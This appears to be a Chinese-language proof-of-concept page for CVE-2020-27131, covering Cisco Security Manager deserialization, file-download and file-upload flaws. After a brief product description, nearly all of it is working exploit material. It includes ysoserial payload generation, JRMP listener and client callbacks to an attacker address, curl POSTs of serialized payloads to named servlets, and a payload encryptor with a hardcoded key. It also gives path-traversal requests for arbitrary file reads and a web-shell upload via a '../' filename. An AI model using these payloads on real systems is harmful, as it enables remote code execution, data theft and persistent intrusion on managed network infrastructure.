CVE-2020-27131 思科安全管理器反序列化漏洞 POC

簡介

思科安全管理器是一個企業級安全管理應用程序，可提供對思科安全和網絡設備的了解和控制。 Cisco Security Manager在廣泛的Cisco安全設備中提供全面的安全管理（配置和事件管理），包括Cisco ASA自適應安全設備，Cisco IPS系列傳感器設備，Cisco集成服務路由器（ISR），Cisco防火牆服務模塊（FWSM） ，Cisco Catalyst，Cisco交換機等等。 Cisco Security Manager允許您有效地管理各種規模的網絡-從小型網絡到包含數百台設備的大型網絡。

POC

SecretService.jsp 反序列化漏洞

java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils

curl -k --request POST --data-binary "@payload_CommonsBeanutils" https://[TARGET_HOST]/CSCOnm/servlet/SecretService.jsp

CsJaasServiceServlet 反序列化漏洞

Compile JaasEncryptor.java and replace the b64Payload content:

import java.security.InvalidKeyException;
import java.util.Base64;
import com.cisco.nm.cmf.security.jaas.BlobCrypt;

public class JaasEncryptor {

        public static void main(String args[]) {
                String b64Payload = "rO0ABXN9AAAAAQAaamF2YS5ybWkucmVnaXN0cnkuUmVnaXN0cnl4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcgAtamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdEludm9jYXRpb25IYW5kbGVyAAAAAAAAAAICAAB4cgAcamF2YS5ybWkuc2VydmVyLlJlbW90ZU9iamVjdNNhtJEMYTMeAwAAeHB3MQAKVW5pY2FzdFJlZgAIMTAuMC4wLjIAAAG7AAAAAEBnvkQAAAAAAAAAAAAAAAAAAAB4";

                byte[] payload = Base64.getDecoder().decode(b64Payload);
                byte[] key = new byte[]{-100, 76, -23, 87, 125, 0, 5, 94, 12, 76, 37, -84, 36, 78, 123, 5};
                
                byte[] enc = BlobCrypt.encryptArray(payload, key);
                System.out.println("Encrypted payload: " + Base64.getEncoder().encodeToString(enc));
                byte[] dec = BlobCrypt.decryptArray(enc, key);
        }
}

Prepare JRMP Listener:

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 443

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]]:443' | base64 -w0

Compile encrypted payload:

javac -cp [YOUR_PATH]]/server_jars_classes/jars.jar:./ JaasEncryptor2.java; java -cp [YOUR_PATH]/server_jars_classes/jars.jar:./ JaasEncryptor

Send payload to Servlet with parameters cmd=data + new line + data=[ENCRYPTED_PAYLOAD].

AuthTokenServlet 反序列化漏洞

Prepare JRMP Listener:

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]]:1337' > payload_JRMP1_2

Send request:

curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.AuthTokenServlet

ClientServicesServlet 反序列化漏洞

Prepare JRMP listener:

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]:1337' > payload_JRMP1_3

Send request:

curl -k --request POST --data-binary "@payload_JRMP1_3" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.ClientServicesServlet

CTMServlet 反序列化漏洞

java -cp ./commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /c calc.exe" > payload_CommonsBeanutils1_2

curl -i -s -k -X $'POST' -H $'Content-Type: application/octet-stream' -H $'CTM-URN: com-cisco-nm-vms-ipintel-IpIntelligenceApi' -H $'CTM-VERSION: 1.5' -H $'CTM-PRODUCT-ID: /C:/Program Files (x86)/CSCOpx/MDC/tomcat/vms/athena/WEB-INF/lib/' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'User-Agent: Java/1.8.0_222' -H $'Host: [TARGET_IP]' -H $'Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2' -H $'Connection: keep-alive' --data-binary "@payload_CommonsBeanutils1_2" $'https://[TARGET_IP]/athena/CTMServlet'

XdmConfigRequestHandler任意文件下載

GET /athena/xdmProxy/xdmConfig[RELATIVE_PATH_TO_FILE]

XdmResourceRequestHandler 任意文件下載

GET /athena/xdmProxy/xdmResources[RELATIVE_PATH_TO_FILE]?dmTargetType=TARGET.IDS&dmOsVersion=7.&command=editConfigDelta

XmpFileUploadServlet 任意文件上傳

Write a web shell e.g.

POST /cwhp/XmpFileUploadServlet?maxFileSize=100

Normal multi-part e.g. writing web shell in filename with ../../MDC/tomcat/webapps/cwhp/testme.jsp.

XmpFileDownloadServlet 任意文件下載

GET /cwhp/XmpFileDownloadServlet?parameterName=downloadDoc&downloadDirectory=[RELATIVE_PATH_TO_DIRECTORY]&readmeText=1

This will respond with a ZIP file containing all files from the directory.

SampleFileDownloadServlet 任意文件下載

GET /cwhp/SampleFileDownloadServlet?downloadZipFileName=pwned&downloadFiles=README&downloadLocation=[RELATIVE_PATH_TO_DIRECTORY]

This will respond with a ZIP file containing all files from the directory.

resultsFrame.jsp 任意文件下載

GET /athena/itf/resultsFrame.jsp?filename=[RELATIVE_PATH_TO_FILE]

SecretServiceServlet 反序列化漏洞

See also https://de.tenable.com/security/research/tra-2017-23

java -cp [YOUR_PATH]/commons-beanutils-1.6.1.jar:[YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1337 CommonsBeanutils1 "cmd.exe /c calc.exe"

java -jar [YOUR_PATH]/ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient '[YOUR_IP]:1337' > payload_JRMP1_2

curl -k --request POST --data-binary "@payload_JRMP1_2" https://[TARGET_IP]/CSCOnm/servlet/com.cisco.nm.cmf.servlet.SecretServiceServlet

參考

https://www.zdnet.com/article/cisco-reveals-this-critical-bug-in-cisco-security-manager-after-exploits-are-posted-patch-now/